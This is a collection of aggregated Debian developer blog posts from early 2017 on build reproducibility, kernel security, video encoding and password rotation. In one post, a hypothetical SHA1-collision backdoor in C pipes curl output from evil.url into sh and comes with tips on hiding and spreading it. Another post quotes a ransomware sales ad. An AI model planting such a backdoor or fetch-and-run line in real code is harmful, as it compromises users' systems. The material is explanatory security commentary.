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Reproducible builds folks: Reproducible Builds: week 96 in Stretch cycle

1 March, 2017 - 03:25

Here's what happened in the Reproducible Builds effort between Sunday February 19 and Saturday February 25 2017:

Reproducible work in other projects Upcoming Events

Introduction to Reproducible Builds will be presented by Vagrant Cascadian at Scale15x in Pasadena, California, March 5th.

On March 23rd Holger Levsen will give a talk at the German Unix User Group's "Frühjahrsfachgespräch" about Reproducible Builds everywhere.

Verifying Software Freedom with Reproducible Builds will be presented by Vagrant Cascadian at Libreplanet2017 in Boston, March 25th-26th.

Packages reviewed and fixed, and bugs filed

Chris Lamb:

Reviews of unreproducible packages

9 package reviews have been added, 3 have been updated and 1 has been removed in this week, adding to our knowledge about identified issues.

Weekly QA work

During our reproducibility testing, the following FTBFS bugs have been detected and reported by:

  • Chris Lamb (4)
diffoscope development

diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues.

  • diffoscope 77 was unblocked by the release team for stretch.
  • Mattia Rizzolo uploaded 77~bpo8+1 to jessie-backports.
buildinfo.debian.net development

buildinfo.debian.net is our experiment into how to process, store and distribute .buildinfo files after the Debian archive software has processed them.

Website development tests.reproducible-builds.org
  • Ed Maste made the upcoming FreeBSD release almost 100% reproducible (see above).
  • Holger Levsen added the number of configured and running builder jobs to the performance stats page.
  • Holger Levsen improved the scheduler, so that untested packages and versions are tried sooner.
  • Holger added logging for submitting .buildinfo files to `buildinfo.debian.net and added notification about this failure.
  • Holger also made some minor improvements to the generated HTML.
Misc.

This week's edition was written by Chris Lamb, Ed Maste & Levsen and reviewed by a bunch of Reproducible Builds folks on IRC & the mailing lists.

Kees Cook: security things in Linux v4.10

28 February, 2017 - 13:31

Previously: v4.9.

Here’s a quick summary of some of the interesting security things in last week’s v4.10 release of the Linux kernel:

PAN emulation on arm64

Catalin Marinas introduced ARM64_SW_TTBR0_PAN, which is functionally the arm64 equivalent of arm’s CONFIG_CPU_SW_DOMAIN_PAN. While Privileged eXecute Never (PXN) has been available in ARM hardware for a while now, Privileged Access Never (PAN) will only be available in hardware once vendors start manufacturing ARMv8.1 or later CPUs. Right now, everything is still ARMv8.0, which left a bit of a gap in security flaw mitigations on ARM since CONFIG_CPU_SW_DOMAIN_PAN can only provide PAN coverage on ARMv7 systems, but nothing existed on ARMv8.0. This solves that problem and closes a common exploitation method for arm64 systems.

thread_info relocation on arm64

As done earlier for x86, Mark Rutland has moved thread_info off the kernel stack on arm64. With thread_info no longer on the stack, it’s more difficult for attackers to find it, which makes it harder to subvert the very sensitive addr_limit field.

linked list hardening
I added CONFIG_BUG_ON_DATA_CORRUPTION to restore the original CONFIG_DEBUG_LIST behavior that existed prior to v2.6.27 (9 years ago): if list metadata corruption is detected, the kernel refuses to perform the operation, rather than just WARNing and continuing with the corrupted operation anyway. Since linked list corruption (usually via heap overflows) are a common method for attackers to gain a write-what-where primitive, it’s important to stop the list add/del operation if the metadata is obviously corrupted.

seeding kernel RNG from UEFI

A problem for many architectures is finding a viable source of early boot entropy to initialize the kernel Random Number Generator. For x86, this is mainly solved with the RDRAND instruction. On ARM, however, the solutions continue to be very vendor-specific. As it turns out, UEFI is supposed to hide various vendor-specific things behind a common set of APIs. The EFI_RNG_PROTOCOL call is designed to provide entropy, but it can’t be called when the kernel is running. To get entropy into the kernel, Ard Biesheuvel created a UEFI config table (LINUX_EFI_RANDOM_SEED_TABLE_GUID) that is populated during the UEFI boot stub and fed into the kernel entropy pool during early boot.

arm64 W^X detection

As done earlier for x86, Laura Abbott implemented CONFIG_DEBUG_WX on arm64. Now any dangerous arm64 kernel memory protections will be loudly reported at boot time.

64-bit get_user() zeroing fix on arm
While the fix itself is pretty minor, I like that this bug was found through a combined improvement to the usercopy test code in lib/test_user_copy.c. Hoeun Ryu added zeroing-on-failure testing, and I expanded the get_user()/put_user() tests to include all sizes. Neither improvement alone would have found the ARM bug, but together they uncovered a typo in a corner case.

no-new-privs visible in /proc/$pid/status
This is a tiny change, but I like being able to introspect processes externally. Prior to this, I wasn’t able to trivially answer the question “is that process setting the no-new-privs flag?” To address this, I exposed the flag in /proc/$pid/status, as NoNewPrivs.

That’s all for now! Please let me know if you saw anything else you think needs to be called out. :) I’m already excited about the v4.11 merge window opening…

© 2017, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

Gunnar Wolf: Much belated book presentation, this Saturday

28 February, 2017 - 12:21

Once again, I'm making an announcement mainly for my local circle of friends and (gasp!) followers. For those of you over 100Km away from Mexico City, please disregard this message.

Back in July 2015, and after two years of hard work, my university finished the publishing step of my second book. This is a textbook for the subject I teach at Computer Engineering: Operating Systems Fundamentals.

The book is, from its inception, fully available online under a permissive (CC-BY) license. One of the books aimed contributions is to present a text natively written in Spanish. Besides, our goal (I coordinated a team of authors, working with two colleagues from Rosario, Argentina, and one from Cauca, Colombia) was to provide a book students can easily and legally share with no legal issues.

I have got many good reviews so far, and after teaching based on it for four years (while working on it and after its publication), I can attest the material is light enough to fit in a Bachelors level degree, while it's deep enough to make our students sweat healthily ;-)

Anyway: I have been scheduled to present the book at my university's main book show, 38 Feria Internacional del Libro del Palacio de Minería this Saturday, 2017.03.04 16:00; Salón Manuel Tolsá. What's even better: This time, I won't be preparing a speech! The book will be presented by my two very good friends, José María Serralde and Rolando Cedillo. Both of them are clever, witty, fun, and a real honor to work with. Of course, having them present our book is more than a double honor.

So, everybody who can make it: FIL Minería is always great and fun. Come share the love! Come have a book! Or, at least, have a good time and a nice chat with us!

Urvika Gola: Outreachy- Week 8 & 9 Progress

28 February, 2017 - 11:46

Working with 9-Patch Images, Adapter Classes, Layouts  in Android.

Before getting this new task I never wondered ..”How does that bubble around our chat messages wraps around the width of the text written by us??”.

The image being used as the background of our messages are called 9-Patch images.

They stretch themselves according to the text length and font size!

Android will automatically resize to accommodate the contents , like–

Source- developer.android.com

How great it would be if the clothes we wear could also work the same way.
Fit according to the body-size. I could then still wear my childhood cute dresses..

Below, are the 9-Patch image I edited. There are two set of bubble images which are different for incoming and outgoing SIP messages.

           

 

These images have to be designed a certain way and should be stored as the smallest size and leave 1px to all sides. Details are clearly explained in Android Documentation–

https://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch

Then,  save the image by concatenating “.9” between the file name and extension.

For example if your image name is bubble.png.  Rename it to bubble.9.png

They should be stored like any other image file in res/drawable folder.

 

Benifits of using 9-patch images are that–

  1. The image proportions are set according to different screen sizes automatically.
    You don’t have to create multiple PNGs of different pixels for multiple screen sizes.
  2. They resize themselves accroding to the Text size set in the user’s phone and according to text length.

I had to modify the existing Lumicall SIP Message screen which had simple ListView as the chat message holder and replace it with 9-patch bubble images to make it more interactive

 


Elizabeth Ferdman: 12 Week Progress Update for PGP Clean Room

28 February, 2017 - 07:00

I worked on creating the whiptail and corresponding gpg scripts for 4 options for primary and/or secondary/subkey generation.

1) A “Quick” Generate Primary and Secondary Key task that only asks the user for the UID and password and creates an rsa4096 primary key, an rsa2048 secondary key and an rsa2048 laptop signing subkey.

2) A “Custom” Generate Primary and Secondary Key task that gives the user more flexibility in algo, usage and expiry, but still adheres to PGP best practices. For the primary key, the user chooses between rsa4096 key or an ECC curve, sign/cert or cert only for usage, and the expiry. For the secondary encryption key, the user also chooses between RSA and ECC, but can choose a key length between 2048 and 4096, and the expiry.

3) Generate Primary Key Only: Same as the primary key generation for #2

4) Generate a Custom Subkey: The user gets to choose between rsa<2048-4096>, dsa<2048-3072>, elg<2048-4096>, and an ECC curve, and choose the usage and expiry. The tricky part was making sure that the usage matched the algorithm. For example, DSA is only capable of sign and auth, while RSA can do sign, auth, and encrypt. ECC curves are capable of all usages, however, encrypt cannot overlap with sign/auth for any curve, even though the name of the curve is the same. So I used radio and checkboxes to make it as easy as possible for the user.

These options follow the best practices outlined at riseup and Debian Wiki pages, such as:

  • The primary key should use a strong algorithm and should only have the usages cert and/or sign.

  • Subkeys can be 2048-4096 bits, preferably RSA, DSA-2 or ECC.

  • UID shouldn’t ask for a comment

  • DSA-1024 is deprecated so I restricted DSA to a minimum of 2048.

Joey Hess: making git-annex secure in the face of SHA1 collisions

28 February, 2017 - 04:15

git-annex has never used SHA1 by default. But, there are concerns about SHA1 collisions being used to exploit git repositories in various ways. Since git-annex builds on top of git, it inherits its foundational SHA1 weaknesses. Or does it?

Interestingly, when I dug into the details, I found a way to make git-annex repositories secure from SHA1 collision attacks, as long as signed commits are used (and verified).

When git commits are signed (and verified), SHA1 collisions in commits are not a problem. And there seems to be no way to generate usefully colliding git tree objects (unless they contain really ugly binary filenames). That leaves blob objects, and when using git-annex, those are git-annex key names, which can be secured from being a vector for SHA1 collision attacks.

This needed some work on git-annex, which is now done, so look for a release in the next day or two that hardens it against SHA1 collision attacks. For details about how to use it, and more about why it avoids git's SHA1 weaknesses, see https://git-annex.branchable.com/tips/using_signed_git_commits/.

My advice is, if you are using a git repository to publish or collaborate on binary files, in which it's easy to hide SHA1 collisions, you should switch to using git-annex and signed commits.

PS: Of course, verifying gpg signatures on signed commits adds some complexity and won't always be done. It turns out that the current SHA1 known-prefix collision attack cannot be usefully used to generate colliding commit objects, although a future common-prefix collision attack might. So, even if users don't verify signed commits, I believe that repositories using git-annex for binary files will be as secure as git repositories containing binary files used to be. How-ever secure that might be..

Matthew Garrett: The Fantasyland Code of Professionalism is an abuser's fantasy

27 February, 2017 - 08:40
The Fantasyland Institute of Learning is the organisation behind Lambdaconf, a functional programming conference perhaps best known for standing behind a racist they had invited as a speaker. The fallout of that has resulted in them trying to band together events in order to reduce disruption caused by sponsors or speakers declining to be associated with conferences that think inviting racists is more important than the comfort of non-racists, which is weird in all sorts of ways but not what I'm talking about here because they've also written a "Code of Professionalism" which is like a Code of Conduct except it protects abusers rather than minorities and no really it is genuinely as bad as it sounds.

The first thing you need to know is that the document uses its own jargon. Important here are the concepts of active and inactive participation - active participation is anything that you do within the community covered by a specific instance of the Code, inactive participation is anything that happens anywhere ever (ie, active participation is a subset of inactive participation). The restrictions based around active participation are broadly those that you'd expect in a very weak code of conduct - it's basically "Don't be mean", but with some quirks. The most significant is that there's a "Don't moralise" provision, which as written means saying "I think people who support slavery are bad" in a community setting is a violation of the code, but the description of discrimination means saying "I volunteer to mentor anybody from a minority background" could also result in any community member not from a minority background complaining that you've discriminated against them. It's just not very good.

Inactive participation is where things go badly wrong. If you engage in community or professional sabotage, or if you shame a member based on their behaviour inside the community, that's a violation. Community sabotage isn't defined and so basically allows a community to throw out whoever they want to. Professional sabotage means doing anything that can hurt a member's professional career. Shaming is saying anything negative about a member to a non-member if that information was obtained from within the community.

So, what does that mean? Here are some things that you are forbidden from doing:
  • If a member says something racist at a conference, you are not permitted to tell anyone who is not a community member that this happened (shaming)
  • If a member tries to assault you, you are not allowed to tell the police (shaming)
  • If a member gives a horribly racist speech at another conference, you are not allowed to suggest that they shouldn't be allowed to speak at your event (professional sabotage)
  • If a member of your community reports a violation and no action is taken, you are not allowed to warn other people outside the community that this is considered acceptable behaviour (community sabotage)

Now, clearly, some of these are unintentional - I don't think the authors of this policy would want to defend the idea that you can't report something to the police, and I'm sure they'd be willing to modify the document to permit this. But it's indicative of the mindset behind it. This policy has been written to protect people who are accused of doing something bad, not to protect people who have something bad done to them.

There are other examples of this. For instance, violations are not publicised unless the verdict is that they deserve banishment. If a member harasses another member but is merely given a warning, the victim is still not permitted to tell anyone else that this happened. The perpetrator is then free to repeat their behaviour in other communities, and the victim has to choose between either staying silent or warning them and risk being banished from the community for shaming.

If you're an abuser then this is perfect. You're in a position where your victims have to choose between their career (which will be harmed if they're unable to function in the community) and preventing the same thing from happening to others. Many will choose the former, which gives you far more freedom to continue abusing others. Which means that communities adopting the Fantasyland code will be more attractive to abusers, and become disproportionately populated by them.

I don't believe this is the intent, but it's an inevitable consequence of the priorities inherent in this code. No matter how many corner cases are cleaned up, if a code prevents you from saying bad things about people or communities it prevents people from being able to make informed choices about whether that community and its members are people they wish to associate with. When there are greater consequences to saying someone's racist than them being racist, you're fucking up badly.

comments

Steinar H. Gunderson: 10-bit H.264 tests

27 February, 2017 - 07:02

Following the post about 10-bit Y'CbCr earlier this week, I thought I'd make an actual test of 10-bit H.264 compression for live streaming. The basic question is; sure, it's better-per-bit, but it's also slower, so it is better-per-MHz? This is largely inspired by Ronald Bultje's post about streaming performance, where he largely showed that HEVC is currently useless for live streaming from software; unless you can encode at x264's “veryslow” preset (which, at 720p60, means basically rather simple content and 20 cores or so), the best x265 presets you can afford will give you worse quality than the best x264 presets you can afford. My results will maybe not be as scientific, but hopefully still enlightening.

I used the same test clip as Ronald, namely a two-minute clip of Tears of Steel. Note that this is an 8-bit input, so we're not testing the effects of 10-bit input; it's just testing the increased internal precision in the codec. Since my focus is practical streaming, I ran the last version of x264 at four threads (a typical desktop machine), using one-pass encoding at 4000 kbit/sec. Nageru's speed control has 26 presets to choose from, which gives pretty smooth steps between neighboring ones, but I've been sticking to the ten standard x264 presets (ultrafast, superfast, veryfast, faster, fast, medium, slow, slower, veryslow, placebo). Here's the graph:

The x-axis is seconds used for the encode (note the logarithmic scale; placebo takes 200–250 times as long as ultrafast). The y-axis is SSIM dB, so up and to the left is better. The blue line is 8-bit, and the red line is 10-bit. (I ran most encodes five times and averaged the results, but it doesn't really matter, due to the logarithmic scale.)

The results are actually much stronger than I assumed; if you run on (8-bit) ultrafast or superfast, you should stay with 8-bit, but from there on, 10-bit is on the Pareto frontier. Actually, 10-bit veryfast (18.187 dB) is better than 8-bit medium (18.111 dB), while being four times as fast!

But not all of us have a relation to dB quality, so I chose to also do a test that maybe is a bit more intuitive, centered around bitrate needed for constant quality. I locked quality to 18 dBm, ie., for each preset, I adjusted the bitrate until the SSIM showed 18.000 dB plus/minus 0.001 dB. (Note that this means faster presets get less of a speed advantage, because they need higher bitrate, which means more time spent entropy coding.) Then I measured the encoding time (again five times) and graphed the results:

x-axis is again seconds, and y-axis is bitrate needed in kbit/sec, so lower and to the left is better. Blue is again 8-bit and red is again 10-bit.

If the previous graph was enough to make me intrigued, this is enough to make me excited. In general, 10-bit gives 20-30% lower bitrate for the same quality and CPU usage! (Compare this with the supposed “up to 50%“ benefits of HEVC over H.264, given infinite CPU usage.) The most dramatic example is when comparing the “medium” presets directly, where 10-bit runs at 2648 kbit/sec versus 3715 kbit/sec (29% lower bitrate!) and is only 5% slower. As one progresses towards the slower presets, the gap is somewhat narrowed (placebo is 27% slower and “only” 24% lower bitrate), but in the realistic middle range, the difference is quite marked. If you run 3 Mbit/sec at 10-bit, you get the quality of 4 Mbit/sec at 8-bit.

So is 10-bit H.264 a no-brainer? Unfortunately, no; the client hardware support is nearly nil. Not even Skylake, which can do 10-bit HEVC encoding in hardware (and 10-bit VP9 decoding), can do 10-bit H.264 decoding in hardware. Worse still, mobile chipsets generally don't support it. There are rumors that iPhone 6s supports it, but these are unconfirmed; some Android chips support it, but most don't.

I guess this explains a lot of the limited uptake; since it's in some ways a new codec, implementers are more keen to get the full benefits of HEVC instead (even though the licensing situation is really icky). The only ones I know that have really picked it up as a distribution format is the anime scene, and they're feeling quite specific pains due to unique content (large gradients giving pronounced banding in undithered 8-bit).

So, 10-bit H.264: It's awesome, but you can't have it. Sorry :-)

Jonas Meurer: debian lts report 2017.02

26 February, 2017 - 00:22
Debian LTS report for February 2017

February 2017 was my sixth month as a Debian LTS team member. I was allocated 5 hours and had 9,75 hours left over from January 2017. This makes a total of 14,75 hours. I spent all of them doing the following:

  • DLA 831-1: Fix buffer overflows in gtk-vnc
  • Reviewed the apache2 2.2.22-13+deb7u8 upload, improved the patches
  • Reviewed CVE-2017-5666 (mp3splt)
  • DLA 836-1: Fix command injection vulnerability in munin cgi script
Links

Stefano Zacchiroli: Software Freedom Conservancy matching

25 February, 2017 - 22:15
become a Conservancy supporter by February 28th and have your donation matched

Non-profits that provide project support have proven themselves to be necessary for the success and advancement of individual projects and Free Software as a whole. The Free Software Foundation (founded in 1985) serves as a home to GNU projects and a canonical list of Free Software licenses. The Open Source Initiative came about in 1998, maintaining the Open Source Definition, based on the Debian Free Software Guidelines, with affiliate members including Debian, Mozilla, and the Wikimedia Foundation. Software in the Public Interest (SPI) was created in the late 90s largely to act as a fiscal sponsor for projects like Debian, enabling it to do things like accept donations and handle other financial transactions.

More recently (2006), the Software Freedom Conservancy was formed. Among other activities—like serving as a fiscal sponsor, infrastructure provider, and support organization for a number of free software projects including Git, Outreachy, and the Debian Copyright Aggregation Project—they protect user freedom via copyleft compliance and GPL enforcement work. Without a willingness to act when licenses are violated, copyleft has no power. Through communication, collaboration, and—only as last resort—litigation, the Conservancy helps everyone who uses a freedom respecting license.

The Conservancy has been aggressively fundraising in order to not just continue its current operations, but expand their work, staff, and efforts. They recently launched a donation matching campaign thanks to the generosity and dedication of an anonymous donor. Everyone who joins the Conservancy as a annual Supporter by February 28th will have their donation matched.

A number of us are already supporters, and hope you will join us in supporting the world of an organization that supports us.

Martin Pitt: systemd 233 about to be released, please help testing

25 February, 2017 - 19:41

systemd 233 is scheduled to be released next week, and there is only a handful of small issues left. As usual there are tons of improvements and fixes, but the most intrusive one probably is another attempt to move from legacy cgroup v1 to a “hybrid” setup where the new unified (cgroup v2) hierarchy is mounted at /sys/fs/cgroup/unified/ and the legacy one stays at /sys/fs/cgroup/ as usual. This should provide an easier path for software like Docker or LXC to migrate to the unified hiearchy, but even that hybrid mode broke some bits.

While systemd 233 will not make it into Debian stretch or Ubuntu zesty, as both are in feature freeze, it will soon be available in Debian experimental, and in the next Ubuntu release after 17.04 gets released. Thus now is another good time to give this some thorough testing!

To help with this, please give the PPA with builds from upstream master a spin. In addition to the usual packages for Ubuntu 16.10 I also uploaded a build for Ubuntu zesty, and a build for Debian stretch (aka testing) which also works on Debian sid. You can use that URL as an apt source:

deb [trusted=yes] https://people.debian.org/~mpitt/tmp/systemd-master-20170225/ /

These packages pass our autopkgtests and I tested them manually too. LXC and LXD work fine, docker.io/runc needs a fix which I uploaded to Ubuntu zesty. (It’s not yet available in Debian, sorry.)

Please file reports about regressions on GitHub, but please also le me know about successes on my Google+ page so that we can get some idea about how many people tested this.

Thank you, and happy booting!

Gunnar Wolf: Started getting ads for ransomware. Coincidence?

25 February, 2017 - 02:06

Very strange. Verrrry strange.

Yesterday I wrote a blog post on spam stuff that has been hitting my mailbox. Nothing too deep, just me scratching my head.

Coincidentally (I guess/hope), I have been getting messages via my Bitlbee to one of my Jabber accounts, offering me ransomware services. I am reproducing it here, omitting of course everything I can recognize as their brand names related URLs (as I'm not going to promote the 3vi1-doers). I'm reproducing this whole as I'm sure the information will be interesting for some.

*BRAND* Ransomware - The Most Advanced and Customisable you've Ever Seen
Conquer your Independence with *BRAND* Ransomware Full Lifetime License!
* UNIQUE FEATURES
* NO DEPENDENCIES (.net or whatever)!!!
* Edit file Icon and UAC - Works on All Windows Versions
* Set Folders and Extensions to Encrypt, Deadline and Russian Roulette
* Edit the Text, speak with voice (multilang) and Colors for Ransom Window
* Enable/disable USB infect, network spread & file melt
* Set Process Name, sleep time, update ransom amount, Give mercy button
* Full-featured headquarter (for Windows) with unlimited builds, PDF reports, charts and maps, totally autonomous operation
* PHP Bridges instead of expensive C&C servers!
* Automatic Bitcoin payment detection (impossible to bypass/crack - we challege who says the contrary to prove what they say!)
* Totally/Mathematically IMPOSSIBLE to DECRYPT! Period.
* Award-Winning Five-Stars support and constant updates!
* We Have lot vouchs in *BRAND* Market, can check!
Watch the promo video: *URL*
Screenshots: *URL*
Website: *URL*
Price: $389
Promo: just $309 - 20% OFF! until 25th Feb 2017
Jabber: *JID*

I think I can comment on this with my students. Hopefully, this is interesting to others.
Now... I had never received Jabber-spam before. This message has been sent to me 14 times in the last 24 hours (all from different JIDs, all unknown to me). I hope this does not last forever :-/ Otherwise, I will have to learn more on how to configure Bitlbee to ignore contacts not known to me. Grrr...

Jonathan Dowland: OpenShift Java S2I

24 February, 2017 - 22:21

One of the products I have done some work on at Red Hat has recently been released to customers and there have been a few things written about it:

Ritesh Raj Sarraf: Shivratri

24 February, 2017 - 21:43

जीवन का सत्य, शमशान।

शिव का है स्थान।

 

काली का तांडव नृत्य।

शिव का करे अभिनन्दन।

​​​​​

 

 

 

 

 

 

 

 

Categories: Keywords: Like: 

Sven Hoexter: Tcl and https - back to TclCurl

24 February, 2017 - 19:04

Must be the irony of life that I was about to give up the TclCurl Debian package some time ago, and now I'm using it again for some very old and horrible web scraping code.

The world moved on to https but the Tcl http package only supports unencrypted http. You can combine it with the tls package as explained in the Wiki, but that seems to be overly complicated compared to just loading the TclCurl binding and moving on with something like this:

package require TclCurl
# download to a variable
curl::transfer -url https://sven.stormbind.net -bodyvar page
# or store it in a file
curl::transfer -url https://sven.stormbind.net -file page.html

Now the remaining problem is that the code is unmaintained upstream and there is one codebase on bitbucket and one on github. While I fed patches to the bitbucket repo and thus based the Debian package on that repo, the github repo diverted in a different direction.

Joey Hess: SHA1 collision via ASCII art

24 February, 2017 - 08:06

Happy SHA1 collision day everybody!

If you extract the differences between the good.pdf and bad.pdf attached to the paper, you'll find it all comes down to a small ~128 byte chunk of random-looking binary data that varies between the files.

The SHA1 attack announced today is a common-prefix attack. The common prefix that we will use is this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\

(To be extra sneaky, you can add a git blob object header to that prefix before calculating the collisions. Doing so will make the SHA1 that git generates when checking in the colliding file be the thing that collides. This makes it easier to swap in the bad file later on, because you can publish a git repository containing it, and trick people into using that repository. ("I put a mirror on github!") The developers of the program will have the good version in their repositories and not notice that users are getting the bad version.)

Suppose that the attack was able to find collisions using only printable ASCII characters when calculating those chunks.

The "good" data chunk might then look like this:

7*yLN#!NOKj@{FPKW".<i+sOCsx9QiFO0UR3ES*Eh]g6r/anP=bZ6&IJ#cOS.w;oJkVW"<*.!,qjRht?+^=^/Q*Is0K>6F)fc(ZS5cO#"aEavPLI[oI(kF_l!V6ycArQ

And the "bad" data chunk like this:

9xiV^Ksn=<A!<^}l4~`uY2x8krnY@JA<<FA0Z+Fw!;UqC(1_ZA^fu#e}Z>w_/S?.5q^!WY7VE>gXl.M@d6]a*jW1eY(Qw(r5(rW8G)?Bt3UT4fas5nphxWPFFLXxS/xh

Now we need an ASCII artist. This could be a human, or it could be a machine. The artist needs to make an ASCII art where the first line is the good chunk, and the rest of the lines obfuscate how random the first line is.

Quick demo from a not very artistic ASCII artist, of the first 10th of such a picture based on the "good" line above:

7*yLN#!NOK
3*\LN'\NO@
3*/LN  \.A
5*\LN   \.
>=======:)
5*\7N   /.
3*/7N  /.V
3*\7N'/NO@
7*y7N#!NOX

Now, take your ASCII art and embed it in a multiline quote in a C source file, like this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\
7*yLN#!NOK \
3*\\LN'\\NO@ \
3*/LN  \\.A \ 
5*\\LN   \\. \
>=======:) \
5*\\7N   /. \
3*/7N  /.V \
3*\\7N'/NO@ \
7*y7N#!NOX";
/* We had to escape backslashes above to make it a valid C string.
 * Run program with --easter-egg to see it in all its glory.
 */

/* Call this at the top of main() */
check_display_easter_egg (char **argv) {
    if (strcmp(argv[1], "--easter-egg") == 0)
        printf(amazing_ascii_art);
    if (amazing_ascii_art[0] == "9")
        system("curl http://evil.url | sh");
}

Now, you need a C ofuscation person, to make that backdoor a little less obvious. (Hint: Add code to to fix the newlines, paint additional ASCII sprites over top of the static art, etc, add animations, and bury the shellcode in there.)

After a little work, you'll have a C file that any project would like to add, to be able to display a great easter egg ASCII art. Submit it to a project. Submit different versions of it to 100 projects! Everything after line 3 can be edited to make lots of different versions targeting different programs.

Once a project contains the first 3 lines of the file, followed by anything at all, it contains a SHA1 collision, from which you can generate the bad version by swapping in the bad data chuck. You can then replace the good file with the bad version here and there, and noone will be the wiser (except the easter egg will display the "bad" first line before it roots them).

Now, how much more expensive would this be than today's SHA1 attack? It needs a way to generate collisions using only printable ASCII. Whether that is feasible depends on the implementation details of the SHA1 attack, and I don't really know. I should stop writing this blog post and read the rest of the paper.

You can pick either of these two lessons to take away:

  1. ASCII art in code is evil and unsafe. Avoid it at any cost. apt-get moo

  2. Git's security is getting broken to the point that ASCII art (and a few hundred thousand dollars) is enough to defeat it.

My work today investigating ways to apply the SHA1 collision to git repos (not limited to this blog post) was sponsored by Thomas Hochstein on Patreon.

Steve Kemp: Rotating passwords

24 February, 2017 - 07:00

Like many people I use a password-manage to record logins to websites. I previously used a tool called pwsafe, but these days I switched to using pass.

Although I don't like the fact the meta-data is exposed the tool is very useful, and its integration with git is both simple and reliable.

Reading about the security issue that recently affected cloudflare made me consider rotating some passwords. Using git I figured I could look at the last update-time of my passwords. Indeed that was pretty simple:

git ls-tree -r --name-only HEAD | while read filename; do
  echo "$(git log -1 --format="%ad" -- $filename) $filename"
done

Of course that's not quite enough because we want it sorted, and to do that using the seconds-since-epoch is neater. All together I wrote this:

#!/bin/sh
#
# Show password age - should be useful for rotation - we first of all
# format the timestamp of every *.gpg file, as both unix+relative time,
# then we sort, and finally we output that sorted data - but we skip
# the first field which is the unix-epoch time.
#
( git ls-tree -r --name-only HEAD | grep '\.gpg$' | while read filename; do \
      echo "$(git log -1 --format="%at %ar" -- $filename) $filename" ; done ) \
        | sort | awk '{for (i=2; i<NF; i++) printf $i " "; print $NF}'

Not the cleanest script I've ever hacked together, but the output is nice:

 steve@ssh ~ $ cd ~/Repos/personal/pass/
 steve@ssh ~/Repos/personal/pass $ ./password-age | head -n 5
 1 year, 10 months ago GPG/root@localhost.gpg
 1 year, 10 months ago GPG/steve@steve.org.uk.OLD.gpg
 1 year, 10 months ago GPG/steve@steve.org.uk.NEW.gpg
 1 year, 10 months ago Git/git.steve.org.uk/root.gpg
 1 year, 10 months ago Git/git.steve.org.uk/skx.gpg

Now I need to pick the sites that are more than a year old and rotate credentials. Or delete accounts, as appropriate.

Stig Sandbeck Mathisen: Change all the passwords (again)

24 February, 2017 - 06:00

Looks like it is time to change all the passwords again. There’s a tiny little flaw in a CDN used … everywhere, it seems.

Here’s a quick hack for users of the “pass” password manager to qickly find the domains affected. It is not perfect, but it is fast. :)

#!/bin/bash

# Stig Sandbeck Mathisen <ssm@fnord.no>

# Checks the content of "pass" against the list of sites using cloudflare.
# Expect false positives, and possibly false negatives.

# TODO: remove the left part of each hostname from pass, to check domains.

set -euo pipefail

tempdir=$(mktemp -d)
trap 'echo >&2 "removing ${tempdir}" ; rm -rf "$tempdir"' EXIT

git clone https://github.com/pirate/sites-using-cloudflare.git "$tempdir"

grep -F -x -f \
  <(pass git ls-files  | sed -e s,/,\ ,g -e s/.gpg// | xargs -n 1 | sort -u) \
  "${tempdir}/sorted_unique_cf.txt" \
  | sort -u

Update: The previous example used parallel. Actually, I didn’t need that. Turns out, using grep correctly is much faster than using grep the wrong way. Lession: Read the manual. :)

Steinar H. Gunderson: Fyrrom recording released

24 February, 2017 - 05:28

The recording of yesterday's Fyrrom (Samfundet's unofficial take on Boiler Room) is now available on YouTube. Five video inputs, four hours, two DJs, no dropped frames. Good times.

Soundcloud coming soon!

Joerg Jaspert: Automated wifi login

24 February, 2017 - 03:32

If you have the fortune to need to follow some silly “Login” button for some wifi, regularly, the following little script may help you avoid this idiotic (and useless) task.

This example uses the WIFIonICE, the free wifi on german ICE trains, simply as I have it twice a day, and got annoyed by the pointless Login button. A friend pointed me at just wget-ting the login page, so I made Network-Manager do this for me. Should work for anything similar that doesn’t need some elaborate webform filled out.

#!/bin/bash

# (Some) docs at
# https://wiki.ubuntuusers.de/NetworkManager/Dispatcher/

IFACE=${1:-"none"}
ACTION=${2:-"up"}

case ${ACTION} in
    up)
        CONID=${CONNECTION_ID:-$(iwconfig $IFACE | grep ESSID | cut -d":" -f2 | sed 's/^[^"]*"\|"[^"]*$//g')}
        if [[ ${CONID} == WIFIonICE ]]; then
            /usr/bin/timeout -k 20 15 /usr/bin/wget -q -O - http://www.wifionice.de/?login > /dev/null
        fi
        ;;
    *)
        # We are not interested in this
        :
        ;;
esac

This script needs to be put into /etc/NetworkManager/dispatcher.d and made executable, owned by the root user. It will run on every connection change, thats why the ACTION is checked. The case may be a bit much here, but it could be easily extended to do a lot more.

Yay, no more silly “Open this webpage and press login” crap.

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